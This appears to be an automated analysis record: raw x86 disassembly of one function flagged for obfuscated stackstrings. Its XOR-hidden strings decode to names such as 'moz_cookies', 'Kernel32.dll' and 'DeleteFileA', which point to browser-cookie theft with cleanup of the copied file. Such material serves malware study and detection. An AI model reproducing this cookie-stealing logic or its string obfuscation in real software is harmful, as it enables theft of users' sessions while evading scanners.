Function at 0x4166fa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d705
call fcn.0044d3f0
sub esp, 0x2d4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
xor esi, esi
mov dword [ebp - 0x54], esi
and dword [ebp - 4], esi
lea edi, [ecx + 0xac]
push edi
call fcn.0040b94f
test al, al
je 0x4167d5
mov dword [ebp - 0x20], edi
cmp dword [edi + 0x14], 0xf
jbe 0x41673d
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
mov dl, 0x5e
mov dword [ebp - 0x35], 0x323b1a5e
mov dword [ebp - 0x31], 0x183b2a3b
mov dword [ebp - 0x2d], 0x1f3b3237
mov byte [ebp - 0x29], 0
xor ecx, ecx
mov dword [ebp - 0x74], ecx
lea eax, [ebp - 0x35]
cmp ecx, 0xb
jae 0x41677b
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x35]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x74], ecx
mov dl, byte [ebp - 0x35]
jmp 0x41675d
mov byte [ebp - 0x29], 0
mov dl, 0x61
mov dword [ebp - 0x66], 0x13042a61
mov dword [ebp - 0x62], 0x520d040f
mov dword [ebp - 0x5e], 0xd054f53
mov word [ebp - 0x5a], 0xd
xor ecx, ecx
mov dword [ebp - 0x78], ecx
push 0xc
pop eax
cmp ecx, eax
jae 0x4167c1
lea eax, [ebp - 0x66]
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x66]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x78], ecx
mov dl, byte [ebp - 0x66]
jmp 0x4167a1
mov byte [ebp - 0x59], 0
push dword [ebp - 0x20]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x65]
call fcn.0040af96
call eax
push edi
push dword [ebp + 8]
call fcn.0040b8bb
lea eax, [ebp - 0x19]
push eax
push edi
lea ecx, [ebp - 0x130]
call fcn.0041186f
cmp byte [ebp - 0x19], 0
je 0x416863
mov dl, 0x2c
mov dword [ebp - 0x42], 0x5643412c
mov dword [ebp - 0x3e], 0x43434f73
mov dword [ebp - 0x3a], 0x5f494547
mov byte [ebp - 0x36], 0
lea edi, [ebp - 0x42]
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
cmp ecx, 0xb
jae 0x41682f
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x7c], ecx
mov dl, byte [ebp - 0x42]
jmp 0x416817
mov byte [ebp - 0x36], 0
lea eax, [ebp - 0x41]
push eax
lea ecx, [ebp - 0xd0]
call fcn.0040fb41
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
or esi, eax
mov dword [ebp - 0x54], esi
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x130]
call fcn.004118f1
test al, al
jne 0x416867
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 0x54]
test al, 1
je 0x41687f
and eax, 0xfffffffe
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0xd0]
call fcn.0040fa99
cmp byte [ebp - 0x20], 0
je 0x416d19
push 0x40835c
lea ecx, [ebp - 0xb8]
call fcn.0040fb41
mov edi, dword [ebp - 0x18]
mov eax, dword [edi + 0x118]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf8]
cdq
push 0xc
pop ecx
idiv ecx
mov dword [ebp - 0x18], eax
cmp eax, 0x10000
jne 0x4168dc
lea ecx, [ebp - 0xb8]
call fcn.0040fa99
lea ecx, [ebp - 0x130]
call fcn.00414b19
jmp 0x416d28
xor esi, esi
mov dword [ebp - 0x58], esi
cmp esi, eax
jge 0x416aed
push 4
push esi
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x130]
call fcn.00411b68
mov edx, 0x40835c
lea ecx, [ebp - 0x70]
call fcn.0040ff4b
test al, al
jne 0x416ad9
mov dl, 0x4f
mov dword [ebp - 0x28], 0x1d1b464f
mov dword [ebp - 0x24], 0x460a1a
xor ecx, ecx
mov dword [ebp - 0x80], ecx
cmp ecx, 6
jae 0x41693d
mov al, byte [ebp + ecx - 0x27]
xor al, dl
mov byte [ebp + ecx - 0x27], al
inc ecx
mov dword [ebp - 0x80], ecx
mov dl, byte [ebp - 0x28]
jmp 0x416925
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x27]
push eax
push 5
push esi
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x130]
call fcn.00411b68
mov edx, eax
lea ecx, [ebp - 0x1c0]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0x1c0]
call fcn.0040fa99
lea ecx, [ebp - 0xe8]
call fcn.0040fa99
push 6
push esi
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x130]
call fcn.00411b68
mov esi, eax
push 9
mov ecx, esi
call fcn.0040fbca
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fb08
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0xd0]
call fcn.0040fa99
lea ecx, [ebp - 0xe8]
call fcn.0040fa99
movups xmm0, xmmword [0x408af0]
movups xmmword [ebp - 0x9f], xmm0
mov word [ebp - 0x8f], 0x2811
mov byte [ebp - 0x8d], 0
xor ecx, ecx
mov dword [ebp - 0x84], ecx
cmp ecx, 0x11
jae 0x416a1f
mov al, byte [ebp + ecx - 0x9e]
xor al, byte [ebp - 0x9f]
mov byte [ebp + ecx - 0x9e], al
inc ecx
jmp 0x4169fd
mov byte [ebp - 0x8d], 0
push 3
push dword [ebp - 0x58]
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x130]
call fcn.00411b68
push eax
lea edx, [ebp - 0x9e]
lea ecx, [ebp - 0x208]
call fcn.00410015
mov esi, eax
push 9
mov ecx, esi
call fcn.0040fbca
push esi
lea ecx, [ebp - 0x1a8]
call fcn.0040fb08
push 0x4083b0
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0x1a8]
lea ecx, [ebp - 0x1f0]
call fcn.0040ffcd
mov edx, eax
lea ecx, [ebp - 0x1d8]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0x1d8]
call fcn.0040fa99
lea ecx, [ebp - 0x1f0]
call fcn.0040fa99
lea ecx, [ebp - 0x1a8]
call fcn.0040fa99
lea ecx, [ebp - 0x208]
call fcn.0040fa99
lea ecx, [ebp - 0x220]
call fcn.0040fa99
inc dword [edi + 0x118]
mov esi, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.0040fa99
inc esi
mov dword [ebp - 0x58], esi
mov eax, dword [ebp - 0x18]
jmp 0x4168e1
mov edx, 0x40835c
lea ecx, [ebp - 0xb8]
call fcn.0040ff4b
test al, al
jne 0x416d0e
push 0x4083b4
lea ecx, [ebp - 0x160]
call fcn.0040fb41
mov dl, 0xb
mov dword [ebp - 0x18], 0x6467250b
mov word [ebp - 0x14], 0x6c
lea esi, [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x88], ecx
cmp ecx, 4
jae 0x416b4a
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x88], ecx
mov dl, byte [ebp - 0x18]
jmp 0x416b2f
mov byte [ebp - 0x13], 0
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x280]
push eax
mov ecx, edi
call fcn.00413f2f
push eax
push ecx
lea edx, [edi + 0x1c]
lea ecx, [ebp - 0x268]
call fcn.0040fd77
mov edx, eax
lea ecx, [ebp - 0x250]
call fcn.0040ffcd
mov esi, eax
push 0x5f
mov ecx, esi
call fcn.0040fbca
push esi
lea ecx, [ebp - 0x148]
call fcn.0040fb08
mov edx, dword [edi + 0x110]
lea ecx, [ebp - 0x298]
call fcn.0040b102
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x190]
call fcn.00410566
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x17]
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x238]
call fcn.0040fd46
push eax
call fcn.00411c44
lea ecx, [ebp - 0x238]
call fcn.0040fa99
lea ecx, [ebp - 0x190]
call fcn.0040fa99
lea ecx, [ebp - 0x148]
call fcn.0040fa99
lea ecx, [ebp - 0x250]
call fcn.0040fa99
lea ecx, [ebp - 0x268]
call fcn.0040fa99
lea ecx, [ebp - 0x280]
call fcn.0040fa99
lea ecx, [ebp - 0x298]
call fcn.0040fa99
lea ecx, [ebp - 0x160]
call fcn.0040fa99
inc dword [edi + 0x110]
mov dl, 0x7d
mov dword [ebp - 0x4f], 0x5d475d7d
mov dword [ebp - 0x4b], 0x1308123e
mov dword [ebp - 0x47], 0x5d405d09
mov byte [ebp - 0x43], 0
lea esi, [ebp - 0x4f]
xor ecx, ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, 0xb
jae 0x416c84
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x8c], ecx
mov dl, byte [ebp - 0x4f]
jmp 0x416c69
mov byte [ebp - 0x43], 0
mov edx, dword [edi + 0x118]
sub edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x2e0]
call fcn.0040b102
mov esi, eax
lea eax, [ebp - 0x4e]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x2c8]
call fcn.0040fcf9
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x178]
call fcn.00410566
push 0x4083b0
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x2b0]
call fcn.0040fd46
push eax
lea ecx, [edi + 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x2b0]
call fcn.0040fa99
lea ecx, [ebp - 0x178]
call fcn.0040fa99
lea ecx, [ebp - 0x2c8]
call fcn.0040fa99
lea ecx, [ebp - 0x2e0]
call fcn.0040fa99
lea ecx, [ebp - 0xb8]
call fcn.0040fa99
lea ecx, [ebp - 0x130]
call fcn.00414b19
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4